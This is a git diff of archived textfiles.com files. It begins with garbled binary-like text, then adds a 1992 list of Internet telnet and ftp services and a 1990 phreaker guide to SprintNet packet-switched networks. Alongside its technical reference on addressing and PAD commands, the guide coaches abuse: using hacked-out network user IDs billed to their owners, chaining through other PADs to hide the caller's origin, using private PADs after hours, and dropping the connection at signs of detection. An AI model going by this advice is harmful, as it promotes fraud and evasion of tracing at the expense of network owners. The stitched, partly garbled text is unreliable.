zXDX6%!*N0j6yF(QGxo6m23p6F=q&Xj>f}P>lX`ZYz?*vAdlkn5H{9tOh@?AQ`Bo+M zKu3*9wsU-OdUkUD@qPR9oG(T9g_QYRre%wUxbV-W-gl?thd+OE_Wu2^pYXyJU%lk1 t5;5BGj_ or quit (ie send prospect) + + -Archie telnet archie.funet.fi or 128.214.6.100 (Finland/Eur.) + telnet archie.au or 139.130.4.6 (Aussie/NZ) + telnet archie.cs.huji.ac.il or 132.65.6.5 (Israel) + telnet archie.doc.ic.ac.uk or 146.169.11.3 (UK/Ireland) + telnet archie.sura.net or 128.167.254.179 (USA [MD]) + telnet archie.unl.edu or 129.93.1.14 (USA [NE]) + telnet archie.ans.net or 147.225.1.2 (USA [NY]) + telnet archie.rutgers.edu or 128.6.18.15 (USA [NJ]) + telnet archie.kuis.kyoto-u.ac.jp or 130.54.20.1 (JAPAN) + telnet archie.nz or 130.195.9.4 (New Zealand) + +telnet archie.th-darmstadt.de or 130.83.128.111 (GER.) + offers: Searches all ftp sites for any program you want. (Login: archie) + + -Archie Mail Servers mail archie@ + Subject: help Offers: alterative Archie access to those w/o ftp or telnet. + + -Auroral Activity finger aurora@xi.uleth.ca or finger aurora@142.66.3.29 + offers: Auroral activity warnings/watches/sightings, updated hourly. + + -Baseball Scores finger jtchern@ocf.berkeley.edu for scores/standings OR + mail jtchern@ocf.berkeley.edu w/Subject: MLB + offers: The latter will subscribe you to receive Major League scores daily! + + -Backgammon Servers telnet 134.130.130.46 4321 + telnet solana.mps.ohio-state.edu 3200 or 128.146.37.78 + offers: Play Backgammon! (Login: guest) + + -Billboard Charts finger buckmr@aix.rpi.edu + offers: U.S. Top Pop singles for the week. + + -CARL telnet pac.carl.org or 192.54.81.128 + offers: Online database, book reviews, magazine fax delivery service. + + -CHAT telnet debra.dgbt.doc.ca or telnet 142.92.36.15 + offers: Interactive AIDS & Epilepsy documents & simulated conversation (Login: chat) + + -Chess Server telnet valkyries.andrew.cmu.edu 5000 or 128.2.232.4 5000 + offers: Play/watch real-time chess with human opponents. Type 'help' for help + + -Dante Project telnet library.dartmouth.edu or 129.170.16.11 + offers: Divine Comedy and reviews. (Login: connect dante) + + -Diplomacy mail judge@milton.u.washington.edu + offers: Play the SSI game Diplomacy via email. Body-of-letter: help + + -DUATS telnet duat.gtefsd.com or telnet 131.131.7.105 + telnet duats.gtefsd.com or telnet 131.131.7.106 + offers: Aviation weather, flight planning. (Login: ) + The first address is for certified pilots, the second for uncertified. + + -Earthquake Info. finger quake@geophys.washington.edu or 128.95.16.50 + offers: Recent quake info (location, time, magnitude, etc.) + + -E-Math telnet e-math.ams.com or 130.44.1.100 + offers: Am. Math. Soc. bbs w/ software and reviews. (Login/Password: e-math) + + -FaxGate mail FaxGate@elvis.sovusa.com + offers: Send a Fax via computer. In body-of-message: help + + -FDA BBS telnet fdabbs.fda.gov or telnet 150.148.8.48 + offers: FDA bbs (News releases, Aids info, consumer info...) (Login: bbs) + + -FEDIX telnet fedix.fie.com or telnet 192.111.228.33 + offers: info. on scholarships, minority assistance, etc. (login: fedix) + + -Freenet telnet freenet-in-[a,b,c].cwru.edu or 129.22.8.47 + telnet yfn.ysu.edu or 192.55.234.27 (Login: visitor) + offers: USA Today Headline News, Sports, etc... + + -Fileserver via Email mail smiley@uiuc.edu + In body-of-message: Filesend: help and on a separate line: Filesend: list + + -FTP Mail mail ftpmail@decwrl.dec.com + Subject:(hit return) Body-of-letter: help (return) quit Offers:ftp via email + + -FTP Mail mail bitftp@pucc.princeton.edu + Body-of-letter: help or ftplist for a list of anon. ftp sites. + + -FTP Sites/Archives ftp ocf.berkeley.edu or ftp 128.32.184.254 + offers: Docs, 5 puritytests, the Bible, Dec. of Ind, lyrics..cd /pub/Library + ftp wuarchive.wustl.edu or rainbow.cse.nau.edu or + offers: Gif archive, pc software. plaza.aarnet.edu.au or erratic.bradley.edu + ftp ftp.uu.net + offers: You name it, it's here! + ftp archive.umich.edu + offers: Software for MS-Dos computers, Mac, Amiga, Apple2, Apollo... + ftp oak.oakland.edu + offers: A huge software archive for PCs and UNIX. + ftp ftp.sura.net + offers: How-to's about internet (how to email, ftp, telnet, etc.) in /pub/nic + + -Genetics Bank mail gene-server@bchs.uh.edu + mail retrieve@ncbi.nlm.nih.gov + mail blast@ncbi.nlm.nih.gov + Subject: help Offers: genetic database/nucleic acid/protein sequence. + + -Geographic Server telnet martini.eecs.umich.edu 3000 or 141.212.99.9 3000 + offers: Info by city or area code (Population, Lat./Long., Elevation, etc). + + ?Georgetown Med. Lib. telnet mars.georgetown.edu or telnet 141.161.40.4 + (Login: medlib Password: dahlgren Last name: netguest) + + -Global Land Info Sys. telnet glis.cr.usgs.gov or telnet 152.61.192.54 + offers: Land use maps of U.S., graphs/data of geological info.(Login: guest) + + -GO Server icsib18.icsi.Berkeley.EDU 6969 or 128.32.201.46 6969 + telnet cnam.cnam.fr 6969 or telnet 192.33.159.6 6969 + offers: Join others and play a game of GO. (Login/Password: choose your own) + + -Gopher telnet consultant.micro.umn.edu or telnet 134.84.132.4 + telnet panda.uiowa.edu or telnet 128.255.40.201 + telnet gdunix.gd.chalmers.se or 129.16.221.40 (SWEDISH) + telnet gopher.uiuc.edu or telnet 128.174.33.160 + telnet tolten.puc.cl or telnet 146.155.1.16 (CHILE) + telnet wsuaix.csc.wsu.edu (Login: wsuinfo) + telnet gopher.ora.com or telnet 140.186.65.25 + +telnet gopher.th-darmstadt.de or telnet 130.83.55.75 + +telnet nstn.ns.ca or 137.186.128.11 (login: fred) + Offers: access to other services, gophers, documents, etc. (Login: gopher) + + -Guitar Chords/TAB ftp ftp.nevada.edu or ftp 131.216.1.11 + offers: Tablature/Chords for guitar in /pub/guitar. + + -Ham Radio Callbooks telnet callsign.cs.buffalo.edu 2000 or 128.205.32.2 2000 + telnet ham.njit.edu 2000 or telnet 128.235.1.10 2000 + offers: National ham radio call-sign callbook. + + -Handicap/Medical Site ftp handicap.shel.isc-br.com or ftp 129.189.4.184 + offers: anonymous ftp of software and medical info. + + -HP Calculator BBS telnet hpcvbbs.cv.hp.com or telnet 15.255.72.16 + offers: BBS for HP Calc. users, with chat mode. (Login: new) + + -Hpcwire telnet hpcwire.ans.net or telnet 147.225.1.51 + offers: Excellent menu-driven information searches. (Login: hpcwire) + + -Hytelnet Server telnet access.usask.ca or telnet 128.233.3.1 + offers: univ. & library catalogues around the world. (Login: hytelnet) + + -Info/Software Server telnet rusmv1.rus.uni-stuttgart.de or 129.69.1.12 + offers: journals, unix stuff, etc. login: infoserv or softserv + + ?Inter-Ntwk Mail Guide telnet 192.134.69.8 1643 + offers: List known networks and connections to/from them, help emailing. + + -Internet Resrce Guide ftp nnsc.nsf.net + offers: compressed/tar'd list of net resources in /resource-guide.txt.tar.Z + + -Iowa Politcl. Stk Mkt telnet ipsm.biz.uiowa.edu or 128.255.44.2 + offers: Buy & sell shares in political candidates. (Non profit research proj.) + + -IP Address Resolver mail resolve@cs.widener.edu + mail dns@grasp.insa-lyon.fr (body of letter: help) + usage: in body-of-letter: site
Mails you IP address of site. + + -IRC Telnet Client telnet bradenville.andrew.cmu.edu or telnet 128.2.54.2 + telnet ircserver.itc.univie.ac.at 6668 + offers: Internet Relay Chat access, like a CB on the computer. + + -ISAAC telnet isaac.engr.washington.edu or 128.95.32.61 + offers: Info. System for Advanced Academic Computing, for IBM users. + + -Law Library telnet liberty.uc.wlu.edu or telnet 137.113.10.35 + ftp sulaw.law.su.oz.au (cd /pub/law) + offers: Law libraries and legal research. (Login: lawlib) + Offers copies of laws for each state, computer laws, and more! + + +LawNet telnet sparc-1.law.columbia.edu or telnet 128.59.176.78 + offers: Law/Judicial info and catalogs access. (Login: lawnet) + + -Library Catalogs ftp dla.ucop.edu (pub/internet/libcat-guide) + offers: "Library Catalogs on the Internet: Strategies for Selection + and Use" document (how, but not where; also get one of the following). + ftp ftp.unt.edu (library/libraries.txt) + offers: "Accessing Bibliographic Databases" document. + ftp ariel.unm.edu (library/internet.library) + offers: "Internet-Accessible Catalogs and Databases" document. + + -Library of Congress telnet dra.com or 192.65.218.43 + offers: COPY of Library of Congress (Assumes terminal is emulating a vt100). + + -List of Lists ftp ftp.nisc.sri.com or ftp 192.33.33.22 + mail mlol-request@wariat.org (music list of lists) + offers: List of interest groups/email lists in /netinfo/interest-groups. + + -Lunar/Planet. Instit. telnet lpi.jsc.nasa.gov or telnet 192.101.147.11 + offers: Resources on Geology, Geophys, Astron., Astrophys. (Login: lpi) + + -Lyric/Music Server ftp ftp.uwp.edu + ftp ftp.iastate.edu (/pub/lyrics) + offers: Lyrics, chords/tablature, and music pictures. (/pub/music/...) + + -Mac Software Archive ftp sumex-aim.stanford.edu + offers: Ftp'able software for the Macintosh computers. (cd to /info-mac) + + -Mail Srver/Usr Lookup mail mail-server@pit-manager.mit.edu + in body of mail message: send usenet-addresses/[name searching for] + + -MicroMUSE telnet michael.ai.mit.edu or telnet 18.43.0.177 + offers: Educational Multi-User Simulated Environment. (Login: guest). + + -MOLIS telnet fedix.fie.com or telnet 192.111.228.33 + offers: Minority Online Information Service. (Login: molis) + + -Music Newsletter mail listserv@vm.marist.edu (internet) or + mail listserv@marist (bitnet) + Body-of-letter: SUBSCRIBE UPNEWS Offers: Reviews, intviews. + + -NASA Headline News finger nasanews@space.mit.edu + offers: Daily press releases from NASA. + + -NASA SpaceLink telnet spacelink.msfc.nasa.gov or 192.149.89.61 + offers: Latest NASA news, including shuttle launches and satellite updates. + + -Nat'l Education BBS telnet nebbs.nersc.gov or telnet 128.55.160.162 + offers: Education BBS (Login: guest) + + -NED telnet ned.ipac.caltech.edu or telnet 134.4.10.118 + offers: NASA Extragalactic Database. (Login: ned) + + -Netfind User Lookup rlogin/telnet bruno.cs.colorado.edu or 128.138.243.151 + offers: Given a name and org./school, finds a user for you (login: netfind) + + -NetLib mail netlib@ornl.gov + mail netlib@uunet.uu.net + Subject:(hit return) Body-of-letter: send index Offers: Software thru email + + -News Mail Servers mail [newsgroup]@cs.utexas.edu + offers: Post to Usenet news via email. (eg. [newsgroup] = alt-bbs) + + -NICOL telnet nisc.jvnc.net or telnet 128.121.50.7 + offers: Access to internet resources, Elec. Publishing Service (Login: nicol) + + -NICOLAS telnet dftnic.gsfc.nasa.gov or telnet 128.183.10.3 + offers: Network Info. Center On-Line Aid System (Login: dftnic) + + -NNTP News Servers telnet sol.ctr.columbia.edu 119 or 128.59.64.40 119 + telnet rusmv1.rus.uni-stuttgart.de 119 or 129.69.1.12 + telnet news.fu-berlin.de 119 or 130.133.4.250 119 + offers: Telnetable access to post to the Usenet news. + + -NOAA telnet nodc.nodc.noaa.gov or telnet 140.90.235.10 + offers: Nat'l Oceanic and Atmos. Admin. Lots of data! (Login: NOAADIR) + + -NODIS telnet nssdc.gsfc.nasa.gov or telnet 128.183.36.25 + telnet nssdca.gsfc.nasa.gov or telnet 128.183.36.23 + offers: Menu-driven access to Nat'l Space Science Data Center (Login: nodis) + + -Nuclear Data Center telnet bnlnd2.dne.bnl.gov or telnet 130.199.112.132 + offers: National nuclear data. (Login: nndc) + + -Oceanic Info. Center telnet delocn.udel.edu or telnet 128.175.24.1 + (Login: info) + + -Oracle mail oracle@cs.indiana.edu w/ subject: help + offers: The Usenet Oracle answers all your questions! + + -OSS-IS ftp soaf1.ssa.gov + mail info@soaf1.ssa.gov with "send index" as your msg. + offers: Many FAQ's, ftp lists, library and service lists, gov't documents. + + -PaperGate mail PaperGate@elvis.sovusa.com + offers: Send a letter via computer. In body-of-message: help + + -Public-Access Unix telnet nyx.cs.du.edu or 130.253.192.68 + offers: Free account, with access to various UNIX features. (login: new) + + -Public-Access Unix telnet hermes.merit.edu or telnet 35.1.48.150 + telnet m-net.ann-arbor.mi.us or telnet 35.208.17.4 + (Which host: um-m-net Enter 'g' for guest. login: newuser) + + +Queer Resource Dir. ftp nifty.andrew.cmu.edu + offers: AIDS info/gay rights info. Recommen get file: README ( cd pub/QRD ) + + +QUERRI telnet isn.rdns.iastate.edu or telnet 129.186.99.13 + offers: Questions on Univ. Extension. Regional Research Info (Login: querri) + + -Recipe Archives ftp gatekeeper.dec.com (cd pub/recipes) + ftp mthvax.cs.miami.edu (cd /recipes) + offers: Anonymous ftp site for MANY food recipes. + + -SDDAS telnet espsun.space.swri.edu 540 or 129.162.150.99 540 + offers: SW Research Data Display & Analysis Center. + + -SERVICES telnet wugate.wustl.edu or 128.252.120.1 + offers: Access to nearly every listed service! (Login: services) + + -Sid's Music Server mail mwilkenf@silver.ucs.indiana.edu + Subject: BOOTHELP Offers: Lists of rare live recordings, cd's for sale. + + -Software Server (ASK) telnet askhp.ask.uni-karlsruhe.de or 192.67.194.33 + offers: On-line software search. (Login/password: ask) + + -Spacemet telnet spacemet.phast.umass.edu or 128.119.50.48 + offers: Science/space bbs. + + -SPAN telnet nssdca.gsfc.nasa.gov or telnet 128.183.36.23 + offers: Space Physics Analysis Network (Login: SPAN_NIC) + + -StatLib Server mail statlib@lib.stat.cmu.edu + Mail with line: send index. Offers: Prgms, Datasets, etc. for statisticians. + + -STIS telnet stis.nsf.gov or 128.150.195.40 + offers: Science & Technology Information System. (Login: public) + + -Stock Market Report telnet a2i.rahul.net or telnet 192.160.13.1 + offers: Public access unix for a fee, market report is free! (Login: guest) + + -Supreme Court Rulings ftp ftp.cwru.edu + offers: ASCII files of Supreme Court rulings in directory /hermes + + -Tropicl Strm Forecast finger forecast@typhoon.atmos.colostate.edu + offers: Seasonal forecast for Atl. Ocn. Also: finger forecast@129.82.107.24 + + -UMD Info Database telnet info.umd.edu or telnet 128.8.10.29 + offers: Info. docs on many subjects, incl. Supr. Crt Decisions (Login: info) + + -Used Music Server mail Used-Music-Server@cs.ucsb.edu w/ subject: help + offers: Users can buy/sell/trade CDs/LPs/Tapes or subscribe to the list. + + -UNC BBS telnet launchpad.unc.edu or telnet 152.2.22.80 + offers: Access to Library of Congress & nationwide libs (Login: launchpad) + + -WAIStation telnet quake.think.com or telnet 192.31.181.1 + telnet nnsc.nsf.net or telnet 128.89.1.178 + telnet wais.funet.fi or telnet 128.214.6.100 + telnet sunsite.unc.edu or telnet 152.2.22.81 + offers: Wide Area Info. Service. (Login: wais or swais) + + -Weather Service telnet downwind.sprl.umich.edu 3000 or 141.212.196.177 + offers: City/State forecasts, ski conditions, earthquake reports, etc. + + -Weather Maps ftp vmd.cso.uiuc.edu + offers: Surface analysis & current infrared weather maps GIFs. (cd wx) + + -Webster telnet cs.indiana.edu 2627 or 129.79.254.191 2627 + offers: Dictionary/Spelling service. Type "HELP" for info. (ALL CAPS!) + + -Whois Service List ftp sipb.mit.edu (pub/whois/whois-servers.list) + offers: List of "whois" servers. + + -Whois Service telnet nic.ddn.mil or telnet 192.112.36.5 + offers: Way to find internet address given a keyword. To access type: whois + + -World-Wide Web telnet info.cern.ch or telnet 128.141.201.74 (SWISS) + telnet eies2.njit.edu or telnet 128.235.1.43 (USA [NJ]) + telnet vms.huji.ac.il or telnet 128.139.4.3 (ISRAEL) + telnet info.funet.fi or telnet 128.214.6.100 (FINLAND) + offers: Access to various documents, lists, and services. (Login: www) + + -ZIB Electronic Libr. telnet elib.zib-berlin.de or telnet 130.73.108.11 + offers: Library of software, links to other libraries. (Login: elib) + + * NOTE: NO LOGIN NAMES OR PASSWORDS ARE REQUIRED UNLESS STATED OTHERWISE! * + NOTE: FOR FTP SITES, LOGIN AS anonymous, Password is your email address. + * PLEASE email me if you have any additional info/corrections/comments! * + * (C) 1992. No changes are to be made to this document without the author's + written consent. Reproduction/distribution without my permission IS + allowable so long as this document is left fully intact. + diff --git a/textfiles.com/internet/sprint b/textfiles.com/internet/sprint new file mode 100644 index 00000000..eb1ac6ac --- /dev/null +++ b/textfiles.com/internet/sprint @@ -0,0 +1,805 @@ + % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % + X**=======================================================================**X + %!! Phreakers/Hackers/Anarchists !!% + X!! -++--++--++--++--++--++--++- !!X + %!! !!% + X!! THE COMPLETE INTRODUCTORY GUIDE TO SPRINTNET AND !!X + %!! SIMILAR PACKET SWITCHED NETWORKS !!% + X**=======================================================================**X + % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % + X**=======================================================================**X + %!! P/H/A - Written By Doctor Dissector On Sunday, April 22, 1990 - P/H/A !!% + X**=======================================================================**X + % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % + + + Part I: Disclaimer + ------------------ + The sole purpose of this document is to educate. Neither the author nor + the sponsor group (Phreakers/Hackers/Anarchists) will be held responsible + for the reader's actions before, during, and following exposure to this + document as well as the validity or accuracy of the information contained + within this document. + + + Part II: Introduction + --------------------- + Packet switching networks can be said to be the most useful tool for both + the inexperienced and the experienced hack. When I first learned about + PSNs (SprintNet/Telenet in general), I discovered that there were not any + good "full length" introductions or guides to the use of these systems. In + effect, scrounging around for a small file here and another there was not + very productive in any sense. So, I decided to compile a "complete" + introduction and guide, as I know it, to the "world" of the packet switched + network. Enjoy! + Doctor Dissector - PHA + + + Part III: Table Of Contents + --------------------------- + Part Description + ----- ------------------------------------------------------------- + I Disclaimer + II Introduction + III Table Of Contents + IV What Is A Packet Switched Network? + V Network Protocols + VI PAD Security + VII Connection To The SprintNet PAD + VIII X.121 International Address Format + IX Network User Identification + X Setting PAD ITI/X.3 Parameters + XI Disconnect Code Sequence + XII Misc Network Notes + XIII Appendix + XIV Conclusion And Closing Notes + XV Greets, Hellos, Etc.... + + Appendix Description + -------- ----------------------------------------------------------- + A Hunt/Confirm Sequence Codes + B PAD Command Summary + C ITI/X.3 Parameter Summaries + D International DNIC/PSN List + E Overseas PSNs Which Accept Collect Calls + F Network Protocol List + G Glossary + + + Part IV: What Is A Packet Switched Network? + ------------------------------------------- + A packet switched network can be accessed through any local POTS + dialup/port. Systems known as "hosts" on the PSN pay for connection to + the PSN depending on transmission speed and protocol type. PSNs offer + more efficient data transfer and less rates as compared to the typical + circuit switched call. Thus, to anyone who would be interested in + transferring large amounts of data over either the PSN or the circuit + system, the PSN would result in an increase of convenience due to the + reduction of data transmission error and cost. + Another feature of the PSN is the speed and data translation which + takes place between the PSN's PAD (Packet Assembler/Disassembler) and + the host. For example, one could connect to the PSN's PAD at 1200 bps + and the PAD could connect to the host system at 9600 bps and still + allow the user to receive error free transmission. This "flow control" + is done by the actual increase or decrease of the data packet between + the PAD and the user or the PAD and the host. + PSNs also have the ability to interconnect through special gateways + which might allow one user who dialed one PSN's PAD and then connected + to another PSN's PAD through a system which was accessible by the first. + Almost every PSN in the world can be accessed through gateways on one + PSN to another PSN, through subsequent gateways until the target PSN + is achived; of course, there are always exceptions, some private or + small data networks may not be reachable through gateways, these systems + can only be reached, usually, through direct dialins. + Some PSNs allow the caller to execute "collect calls" to host + systems which accept them, although the majority of the hosts on any + given PSN do not accept collect calls. To connect to a host system which + does not accept collect calls, one must possess a network user identifier + (NUI) or access to a private system on the PSN which accepts collect + calls and has the ability to access another PSN with its own identifier. + These will be discussed further into this document. + + + Part V: Network Protocols + ------------------------- + The PSN utilizes several communications protocols similar to the + communications protocols used by typical asynchronous modems. However, + MOST PSNs utilize synchronous communications and the X type protocols + versus the typical modem's asynchronous V protocols. As a result, the + PAD of any PSN also serves as a synchronous/asynchronous translator + between the synchronous netowrk and the asynchronous modem. + Most PSNs offer network speeds from snail's pace baud rates of + 300 bps (asynchronous) to the lightning of 48,000 bps (synchronous). + The most common data protocol used by PSNs today is the X.25 protocol, + thus if one were able to access a private PAD which offered support for + the X.25 protocol, one could access virtually any network user address + (NUA) from that PAD. SprintNet PADs support the X.25 protocol, so if + one had an NUI of sorts, one also could access any NUA from the SprintNet + PAD. See appendix F for a list of network protocols. + + + Part VI: PAD Security + --------------------- + SprintNet PADs and most dialin PADs in general have no "immediate" + form of telephone security common within their systems. Plainly, SprintNet + and most PSN dialin PADs cannot trace on the fly, as they do not have + their own equiptment to trace incomming calls. HOWEVER, this does not + mean that they CANNOT trace; SprintNet can, and will, upon probable + cause, cooperate with the telco to trace calls. Notice that tracing + usually is premeditated and one-time abusers have a very slim chance + of being caught. Also note that most PAD activities are logged and if + abuse is suspected, the PSN owners would most likely suspect the abuser + as originating from the local area, since the POTS dialin/port is also + located in the same area. + Once online, security from "calling" hosts which do not accept collect + calls is enforced by the presence of the NUI. Without an NUI, one would + usually be stuck, only able to call systems accepting collect calls, sans + the use of another system's NUI. + There is one more aspect of seucurity worth mentioning. Whenever a + packet of data is sent to a host system, a header of data is sent stating + where the originating "call" is being placed by. Thus, if you were + connecting to "312312" from your local POTS dialin/port that owned an + address of "20231H," the system at 312312 would know the call was being + originated from 20231H. Once again, if someone were abusing any system on + the PSN and that system saved a log of the originating addresses accessing + that system, the owners of the abused system could easily determine which + POTS dialin/port number the abuser was using, and then inform the PSN + security of possible abuse in that dialin's local area. Because of this + ability to "trace" the originating address, there is one way to foil this. + One could connect to another PAD, and then, from that PAD connect to + the target system. Thus, the POTS dialin/port address will be sent to + the connected PAD, and the connected PAD would intercept the POTS address + and send the connected PAD's address to the target system instead of + the POTS address. SO, if the target system was abused and the owners + attempted to "trace" the originating address, they would receive the + address of the connected PAD. For example: you dial your local POTS + dialin/port which had an address of "71516G," log into another PAD at + "415100," connect from 415100 to "213213." The system at 213213 if + "traced" would find that you were originating from 415100, not 71516G. + See how it works? Good... Notice that the system 213213 would still + know that you were originating from 71516G, but the folks you were + genuinely abusing wouldn't know that! + + + Part VII: Connection To The SprintNet PAD + ----------------------------------------- + The following procedure outlines the methods used to connect to + and through the SprintNet PAD. + + Step Procedures Network/Operator Response + ---- ---------- ------------------------- + 1 Turn on your terminal. Make sure + it's Online. + + 2 Dial your local SprintNet access + number. + + 3 For data sets Bell 103 & 113 type, + depress the DATA button. + + 4 Enter the hunt/confirm sequence + for your baud/parity type. For + E,7,1 1200/2400, type twice. + For hunt/confirm sequences, see + appendix A. + + 5 SprintNet will identify itself, TELENET + its port address, and then send 909 14B + a TERMINAL= prompt for terminal + identification. "D1" specifies TERMINAL=D1 + dumb terminal. + + 6 NUI Input: After SprintNet gives + the "@" prompt, type "ID ;" and @ID ;ABCD + then your ID code, follwed by a PASSWORD=123456 + . Then enter your password + followed by another . If you + don't have an NUI, you can always + access systems which allow collect + calls. + + 7 At the "@" prompt, you can enter @02341123456790 + the network user address (NUA) of + the desired host. If, during the + connection attempt wish to abort + the attempt, a BREAK signal will + bring you back to the "@" prompt. + + 8 SprintNet will respond with a (address) CONNECTED + connection message, or an error + message. + + 9 To disconnect from your computer, (address) DISCONNECTED + log off as usual. SprintNet will + send a disconnect message. To + disconnect off of a system without + logging off, typing "@" will + bring you back to the "@" prompt. + + + Part VIII: X.121 International Address Format + --------------------------------------------- + Most PSNs around the world follow the X.121 format for access to both + domestic and international hosts. SprintNet does not require some parts + of the format for domestic connection, which will be discussed below. + + +----------------------------------------- Zero Handler For SprintNet + | (Formats The X.121 Address) + | + | + | + | +--------------------------------- Data Network Identifier + | | Code (DNIC) + | | + | | + | | +------------------------- Area Code of Host + | | | + | | | + | | | +--------------- DTE Address of Host + | | | | + | | | | + | | | | +-------- Port Address + | | | | | + | | | | | + +|0| |DDDD| |AAA| |HHHHH| |PP| + + | + +------- Optional 'Subaddress' + Field for Packet Mode + DTE + + For a complete list of DNICs/PSNs according to country, please see + appendix D. + On SprintNet, a "0" MUST lead the NUA, although on other PSNs, this + may not be necessary. + On SprintNet, the DNIC is defaulted to 3110. Any host entered at the + "@" prompt, if domestic to Telenet/USA, will not require the input of + zero handler or the 3110 DNIC. For example: + + Domestic X.121 SprintNet Int'l + ---------- -------------- --------------- + 2129966622 31102129966622 031102129966622 + 212869 311021200869 0311021200869 + 21244 311021200044 0311021200044 + + + Part IX: Network User Identification + ------------------------------------ + Network user identifiers (NUIs) offer full SprintNet PAD use for + any distance or amount of time for any host accessible by the PAD in + question. Think of the NUI as a /<-/<00l Kode for calling long + distance. Any systems that you call are logged, and each call is charged. + At the end of the month, the owner of the NUI is billed. So, it is + possible to hack out NUIs and use them, but like k0dez, abuse kills. + NUIs can be entered into SprintNet in two ways. The first method is to + type "ID ;xxxx" where xxxx can be from 4-? charachters in length, both + alphabetic and numeric. Then, at the password prompt, enter a password. + The second method for entering an NUI is in conjunction to the NUA + you are accessing. The format is ",," where at the "@" + prompt you would type the desired NUA, followed by a comma, then your + ID followed by a comma, and then your password. Your password will not + be echoed. + + + Part X: Setting PAD ITI/X.3 Parameters + -------------------------------------- + Online PAD parameter modification may be desired for certain + applications, connections, or data transfers. See appendix C for brief + summaries of these parameters. Modification of these parameters can be + done by the following procedure at the "@" prompt: + + X.3 Parameters + -------------- + To display current parameters: "PAR?" + The PAD will respond with: "PAR1:,2:,..." + + To modify parameter(s): "SET? :,:,..." + The PAD will respond with: "PAR:,..." + + ITI Parameters + -------------- + To display current parameters: "PAR? 0,,,..." + The PAD will respond with: "PAR:,:,..." + + To modify parameter(s): "SET? 0:33,:,:,..." + The PAD will respond with: "PAR0:33,:,..." + + + Part XI: Disconnect Code Sequence + --------------------------------- + When disconnected off of any host on SprintNet, a disconnect coding + sequence with a string of data will be sent to your terminal. The + following is a translation format for the disconnect coding. + + DISCONNECTED AA BB TT:TT:TT:TT CCC DD + + Where: + is the NUA of the given host system. + AA is the clearing code. + BB is the diagnositc code. + TT:TT:TT:TT is the time spent on the host. + CCC is the number of frames received. + DD is the number of frames sent. + + + Part XII: Misc Network Notes + ---------------------------- + Just a few things one might want to know when using PSNs: + + 1) When using/abusing a private PAD, try to use it after business + hours, as the operators will not tend to discover your presence + as quickly. + + 2) When hacking or abusing ANY system on ANY PSN, if anything seems + different or suspicious, logoff, disconnect, or HANG-UP + IMMEDIATELY! Much better SAFE than SORRY! + + 3) For a complete and updated list of POTS dialin/ports, dial the + IN-WATS number at 1-800-546-1000 or 1-800-546-2000, type "MAIL," + and for user name and password, enter "PHONES." You will be + diverted to the SprintNet dialing directory & a menu. From then on + you will have plenty of info about POTS dialins and port numbers. + + 4) For international information concerning SprintNet and other PSNs, + get to a SprintNet "@" prompt and type "MAIL." Then, for the user + name, enter "INTL/ASSOCIATES." For the password, type "INTL," and + you will be diverted to the international information menu. + + 5) For even more info on SprintNet and PCP, the NUA for the PCP + support BBS is 311090900631 (909631 domestic). + + 6) Some 2400 bps and 2400+ bps PADs have problems recognizing 8,N,1 + connections. Sometimes they only allow E,7,1 transmissions. + Experimentation or inquiry may yeild results. SprintNet's customer + information line is at 1-800-336-0437, overseas is 1-703-689-6400. + + 7) PCP outdials and other outdial systems are abundant on the PSNs + throughout the world. If you have any NUAs to these or find any, + they utilize the typical Hayes AT command set, so they should be + easy to figure out. MOST of the time, they ONLY allow dialing of + local (to the oudial's area code) numbers, but some have been known + to allow interstate and even international calls. Experimentation, + again, is always necessary. + + 8) Domestically, the "AAA" (Area Code) portion of the NUA is usually + the same as the area code (NPA) of the same calling area. However, + some area codes are shared on the network and some non-existant + area codes such as 909, 223, 224 and others contain hosts. + + 9) On any PAD, the data transmission rates may be slowed, due to the + assembley/disassembley time, called packet delay. Depending on which + system, baud, and transfer protocol used, pad delay can differ from + almost none to noticable fractions of seconds. PCP oudials are + notorious for LLOONNGG pad delays.... + + + Part XIII: Appendix + ------------------- + Appendix A: Hunt/Confirm Sequence Codes + ======================================= + Bits Stop Parity Modem Baud Duplex Sequence + ---- ---- ------ ---------- ------ -------- + 7 1 EVEN 300-1200 FULL + 7 1 EVEN 300-1200 HALF ; + 7 1 EVEN 2400 FULL @ + 7 1 EVEN 2400 HALF @; + 8 1 NONE 300-1200 FULL D + 8 1 NONE 300-1200 HALF H + 8 1 NONE 2400 FULL @D + 8 1 NONE 2400 HALF @H + + At BPS speeds 2400+, wait 1/2 a second BEFORE and AFTER the + "@" sign in the sequence above. + + Appendix B: PAD Command Summary + =============================== + The following is a list of commands usable from the "@" prompt on the + SprintNet PSN. + + Command Description + ----------- ------------------------------------------------------------- + Connects to the host specified by that NUA. + C Connects to the host specified by that NUA. + STAT Displays the network port address (NUA of the port). + FULL Sets duplex to full. + HALF Sets duplex to half. + DTAPE Prepares the PSN for bulk file transfers. + CONT Continues the current connected session/connect attempt. + BYE Aborts connect attempt/disconnects from current session. + D Aborts connect attempt/disconnects from current session. + HANGUP Logs you off from the SprintNet PAD. + TERM Changes the terminal specification to that of . + MAIL Request connection to SprintNet Telemail. + TELEMAIL Request connection to SprintNet Telemail. + ID ; Enter NUI, is your ID. This is followed by a PASSWORD + prompt. Password will not be echoed. + TEST CHAR Test if you are receiving garbled output. If so, adjust + parity or data bits, and then try again. If errors persist, + be sure to complain to SprintNet customer service! + TEST ECHO Test if your input is being garbled by Telenet. Similar + otherwise as TEST CHAR. + + Appendix C: ITI/X.3 Parameter Summaries + ======================================= + Para- Para- + meter Description (Default Value) meter Description (Default Value) + ----- --------------------------- ----- --------------------------- + 1 Line feed Insertion (0) 31+ Interrupt Character (0) + 2 Network Message Display (0) 32 Automatic Hang-up (0) + 3 Echo (1) 33+ Flush Output (0) + 4 Echo Mask (163) 34 Transmit on Timers (1) + 5 Transmit Mask (2) 35 Idle Timer (80) + 6* Buffer Size (0) 36 Interval Timer (0) + 7* Command Mask (127) 37 Network Usage Display (0) + 8* Command Mask (3) 38 Carriage Return PAD (Variable) + 9 Carriage Return PAD (Fixed) 39 Padding Options (1) + 10 Linefeed Padding 40 Insert on Break (0) + + 11 Tab Padding 41 PAD-Terminal Flow Control (0) + 12 Line Width 42 PAD-Terminal XON Character (17) + 13 Page Length (0) 43 PAD-Terminal XOFF Character (19) + 14 Line Folding (1) 44* Generate Break (INV) + 15 Page Wait (0) 45* APP on Break (0) + 16 Interrupt on Break (0) 46 Input Unlock Option 